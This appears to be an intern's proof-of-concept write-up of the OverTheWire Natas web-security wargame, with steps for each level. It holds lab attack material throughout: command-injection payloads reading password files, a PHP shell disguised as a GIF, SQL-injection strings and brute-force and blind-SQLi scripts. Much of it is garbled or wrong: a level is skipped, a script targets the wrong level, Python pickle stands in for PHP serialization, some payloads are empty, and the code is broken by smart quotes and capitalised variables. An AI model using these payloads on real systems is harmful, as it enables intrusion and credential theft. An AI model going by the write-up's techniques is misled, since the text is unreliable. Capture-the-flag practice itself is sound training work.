Digisuraksha Cybersecurity Internship 2025

Intern Name: Dhairya Kumar Patel
Intern ID: 445
Date: July 2025

Proof Of Concept (POC) of OverTheWire Labs

Natas Challenges

Level 0 → Level 1

Tools Used: Web browser, Chrome DevTools

Objective: Find a password hidden in the HTML source.

Steps Followed:

Visited the level's URL.

Opened Chrome DevTools (Ctrl+Shift+I) → "Sources" → Viewed page source.

Located the password in an HTML comment.

Conclusion: Learned to examine HTML source for exposed sensitive data.

Level 1 → Level 2

Tools Used:

Web browser, Chrome DevTools

Objective: Locate a hidden element in the page source.

Steps Followed:

Loaded the page; no password was visible.

Used DevTools → "Elements" tab to find a hidden comment with the password.

Conclusion: Developed skills in inspecting obscured HTML content.

Level 2 → Level 3

Tools Used: Chrome DevTools, curl

Objective: Discover a password in an image directory.

Steps Followed:

Found a link to /files/.

Navigated to the directory and located users.txt.

Used curl to fetch the file:

curl http://natas2.natas.labs.overthewire.org/files/users.txt

Extracted the password.

Conclusion: Explored directory enumeration and file access techniques.

Level 3 → Level 4

Tools Used: URL manipulation, wget

Objective: Access a hidden file containing the password.

Steps Followed:

Source code referenced /s3cr3t/.

Visited the folder and opened users.txt.

Alternative: Downloaded with wget:

wget http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

Conclusion: Exposed flaws in security-by-obscurity practices.

Level 4 → Level 5

Tools Used: Chrome DevTools (Storage), Burp SuiteObjective: Manipulate cookies to bypass authentication.

Steps Followed:

Opened DevTools → Application → Cookies.

Saw loggedin cookie set to 0.

Changed it to 1 and refreshed the page.

Alternative: Used Burp Suite to modify the cookie in intercepted requests. Retrieved the password.

Conclusion: Exploited weak cookie-based access control

Level 5 → Level 6

Tools Used: curl, Postman

Objective: Bypass a Referer header check.

Steps Followed:

Identified a Referer header validation.

Sent a custom header with curl:

curl -H “Referer:

http://natas5.natas.labs.overthewire.org/

Alternatives: Used Postman to craft the request. Obtained the password.

Conclusion: Learned to manipulate HTTP headers to bypass restrictions.

Level 6 → Level 7

Tools Used: View-source, wget

Objective: Access a hidden include file with credentials.

Steps Followed:

Source hinted at /includes/secret.inc. Visited the URL directly.

Alternative: Fetched with wget:

wget http://natas6.natas.labs.overthewire.org/includes/secret.inc

Retrived the password.

Conclusion: Identified risks of exposed include files.

Level 7 → Level 8

Tools Used: URL parameter manipulation, Burp Suite

Objective: Bypass logic via input manipulation.

Steps Followed:

Noticed username needed to be admin.

Submitted:

username=admin & password=admin

Intercepted request with Burp Suite to confirm parameter behavior.

Retrieved the password.

Conclusion: Exploited flawed input validation logic.

Level 8 → Level 9

Tools Used: Base64 decoder, Python

Objective: Decode Base64 input to gain access.

Steps Followed:

Identified Base64-encoded input.

Decoded with:

```
echo “YWRtaW4=” | base64 -d
```

Alternative Python script:

```
import base64

print(base64.b64decode(“YWRtaW4=”).decode())
```

Used the decoded value to proceed.

Conclusion: Practiced Base64 decoding techniques.

Level 9 → Level 10

Tools Used: Dictionary attack, Python scripting

Objective: Brute-force a secret from a dictionary file.

Steps Followed:

Created a Python script to test dictionary words:

```
import requests

with open(‘/usr/share/dict/words’, ‘r’) as f:
```

```
for word in f:

word = word.strip()

r = requests.post('http://natas9.natas.labs.overthewire.org', data={'secret': word})

if 'success' in r.text:

print(f"Secret: {word}")

break
```

Found the correct secret and retrieved the password.

Conclusion: Applied scripted brute-forcing for hardcoded secrets.

Level 10 → Level 11

Tools Used: Command injection, curl

Objective: Inject commands via form input.

Steps Followed:

Noticed grep in the backend.

Injected: admin; cat /etc/natas_webpass/natas11

Alternative: Used curl to submit the payload:

```
curl -d "needle=admin; cat /etc/natas_webpass/natas11"
http://natas10.natas.labs.overthewire.org
```

Retrieved the password.

Conclusion: Exploited command injection vulnerabilities.

Level 11 → Level 12

Tools Used: XOR logic, Python

Objective: Decrypt and modify session cookies using XOR.

Steps Followed:

Identified XOR-encrypted cookies.

Wrote a Python script:

```
def xor_strings(s1, s2):
```

return ‘’.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

key = “qw8J”

cookie = “encrypted_cookie_value”

decoded = xor_strings(cookie, key * (len(cookie) // len(key) + 1))

print(decoded)

Modified and re-encrypted the cookie to gain access.

Conclusion: Mastered XOR-based session manipulation.

Level 12 → Level 13

Tools Used: File upload bypass, Burp Suite

Objective: Upload a PHP shell disguised as an image.

Steps Followed:

Crafted a .php file with an Image header and PHP code:

GIF89a;

<?php system(‘cat /etc/natas_webpass/natas13’); ?>

Uploaded via Burp Suite to bypass filters.

Accessed the shell to retrieve the password.

Conclusion: Bypassed file upload restrictions.

Level 13 → Level 14

Tools Used: ExifTool, file manipulation

Objective: Upload a file that passes image MIME checks.

Steps Followed:

Created a .jpg with PHP code using ExifTool:

exiftool -Comment=’’ malicious.jpg

Uploaded the file, which executed and revealed the password.

Conclusion: Used metadata to bypass image validation

Level 14 → Level 15

Tools Used: SQL Injection, sqlmap

Objective: Bypass login with SQL injection.

Steps Followed:

Injected:

username=admin" – password=anything

Alternative: Tested with sqlmap:

sqlmap -u http://natas14.natas.labs.overthewire.org–data="

username=admin&password=anything" –level=2

Bypassed login and retrieved the password.

Conclusion: Exploited unsanitized SQL inputs

Level 16 → Level 17

Tools Used: cURL, Python, timing attack

Objective: Extract a password via time-based blind SQL injection.

Steps Followed:

Confirmed time-based SQL injection vulnerability

Wrote a Python script:

import requests

import time

Password = ""

for I in range(1, 33):

for c in "abcdefghijklmnopqrstuvwxyz0123456789":

Payload = f'username=natas17" AND

if(SUBSTRING(password,{i},1)="{c}",SLEEP(2),0)—'

Start = time.time()

R = requests.post('http://natas16.natas.labs.overthewire.org', data={'username': payload}) if time.time() – start > 2:

Password += c

Break

print(f”Password: {password}”)

Assembled the password character by character.

Conclusion: Mastered time-based blind SQL injection techniques.

Level 17 → Level 18

Tools Used: cURL, Python, timing attack

Objective: Use time-based blind SQL injection to retrieve the password.

Steps Followed:

Verified the vulnerability.

Modified the previous Python script for Level 18 parameters.

Extracted the password via response time analysis.

Conclusion: Reinforced time-based SQL injection skills.

Level 18 → Level 19

Tools Used: cURL, Python, session manipulation

Objective: Manipulate session IDs for admin access.

Steps Followed:

Noticed session IDs determined user roles.

Wrote a Python script to iterate session IDs:

import requests

for I in range(1, 641):

Cookies = {‘PHPSESSID’: str(i)}

R = requests.get(‘http://natas18.natas.labs.overthewire.org’, cookies=cookies)

if ‘admin’ in r.text:

print(f”Admin session: {i}”)

break

Accessed the admin page to retrieve the password.

Conclusion: Exposed risks of predictable session IDs.

Level 19 → Level 20

Tools Used: cURL, session fixation

Objective: Exploit session fixation to impersonate an admin.

Steps Followed:

Found session IDs set via GET parameters.

Crafted a URL:

http://natas19.natas.labs.overthewire.org?PHPSESSID=admin

Modified session data for admin privileges.

Retrieved the password.

Conclusion: Demonstrated session fixation vulnerabilities.

Level 20 → Level 21

Tools Used: Burp Suite, ZAP proxy

Objective: Escalate privileges via an experimenter page.

Steps Followed:

Accessed the linked experimenter page.

Used ZAP proxy to modify HTTP requests.

Changed user-level parameters to gain admin rights.

Retrieved the password from the admin section.

Conclusion: Exploited auxiliary pages to manipulate application behaviour.

Level 21 → Level 22

Tools Used: cURL, HTTP header manipulation

Objective: Bypass redirection to access restricted content.

Steps Followed:

Noticed conditional redirection.

Used curl with –location-trusted:

curl –location-trusted http://natas21.natas.labs.overthewire.org

Analyzed responses to access the password.

Conclusion: Bypassed client-side redirection mechanisms.

Level 22 → Level 23

Tools Used: cURL, PHP type juggling

Objective: Exploit PHP loose typing for authentication bypass.

Steps Followed:

Identified == comparison in authentication.

Submitted input to exploit loose typing:

curl -d “password=0e1” http://natas22.natas.labs.overthewire.org

Bypassed authentication and retrieved the password.

Conclusion: Understood risks of loose comparisons.

Level 23 → Level 24

Tools Used: cURL, PHP type juggling

Objective: Further exploit PHP type juggling.

Steps Followed:

Analyzed authentication for type juggling flaws.

Submitted input like password[]=1 to bypass checks.

Retrieved the password.

Conclusion: Reinforced PHP type juggling vulnerabilities.

Level 24 → Level 25

Tools Used: PHP knowledge, type juggling

Objective: Bypass password verification with type juggling.

Steps Followed:

Noticed strcmp() in password comparison.

Submitted an array:

password[]=1

Bypassed the check via strcmp() returning false.

Conclusion: Exploited strcmp() type juggling flaws.

Level 25 → Level 26

Tools Used: PHP knowledge, log poisoning, file inclusion

Objective: nject PHP code into logs and include them for execution.

Steps Followed:

Identified file inclusion vulnerability.

Injected PHP code in User-Agent:

curl -A “”

http://natas25.natas.labs.overthewire.org

Included the log file to execute the code and retrieve the password.

Conclusion: Achieved remote code execution via log poisoning.

Level 26 → Level 27

Tools Used: PHP serialization, Python

Objective: Craft a serialized object to manipulate application behavior.

Steps Followed:

Found a _destruct() method deleting files.

Created a serialized object:

class Exploit:

def __init__(self):

self.filename = ‘/etc/natas_webpass/natas27’ import pickle

print(pickle.dumps(Exploit()))

Submitted the object to delete and reveal the password file.

Conclusion: Highlighted risks of unserializing user input.

Level 27 → Level 28

Tools Used: PHP knowledge, SQL injection

Objective: Extract the password via SQL injection.

Steps Followed:

Identified unsanitized SQL queries.

Injected: username=admin' OR 1=1-

Retrieved the password.

Conclusion: Emphasized input sanitization to prevent SQL injection.

Level 28 → Level 29

Tools Used: Perl knowledge, command injection

Objective: Inject commands into a Perl script.

Steps Followed:

Noticed backtick command execution.

Injected:

; cat /etc/natas_webpass/natas29

Executed the payload to retrieve the password.

Conclusion: Showed dangers of unsanitized command execution.

Level 29 → Level 30

Tools Used: Perl knowledge, regular expressions

Objective: Bypass authentication via regex manipulation.

Steps Followed:

Analyzed regex validation in the Perl script.

Crafted input to always match: (.*)

Bypassed authentication.

Conclusion: Exploited improper regex usage.

Level 30 → Level 31

Tools Used: Perl knowledge, environment variable manipulation

Objective: Manipulate environment variables for privilege escalation.

Steps Followed:

Noticed USER variable used for access control.

Set: export USER=adminGained access to the next level.

Conclusion: Demonstrated environment variable manipulation risks.

Level 31 → Level 32

Tools Used: Perl knowledge, file descriptor manipulation

Objective: Read restricted files via file descriptor manipulation.

Steps Followed:

Identified file descriptor usage.

Redirected descriptor to: /etc/natas_webpass/natas32

Read the password.

Conclusion: Exploited file descriptor vulnerabilities.

Level 32 → Level 33

Tools Used: Code analysis, Burp Suite, advanced Perl

Objective: Reverse-engineer the final challenge to retrieve the root password.

Steps Followed:

Logged into Level 32.

Analyzed HTTP traffic with Burp Suite.

Noticed serialized input handling.

Crafted a payload:

$payload = serialize({cmd => 'cat /etc/natas_webpass/natas33'});

Submitted via custom header injection.

Retrieved the password.

Conclusion: Tested advanced skills in code review, serialization, and command execution.

Level 33 → Level 34

Tools Used: Web browser

Objective: Confirm Natas wargame completion.

Steps Followed:

Logged into Level 33.

Viewed a congratulatory page.

Verified no Level 34 exists on OverTheWire's Natas site.

Conclusion: Level 33 marks the end of the Natas wargame.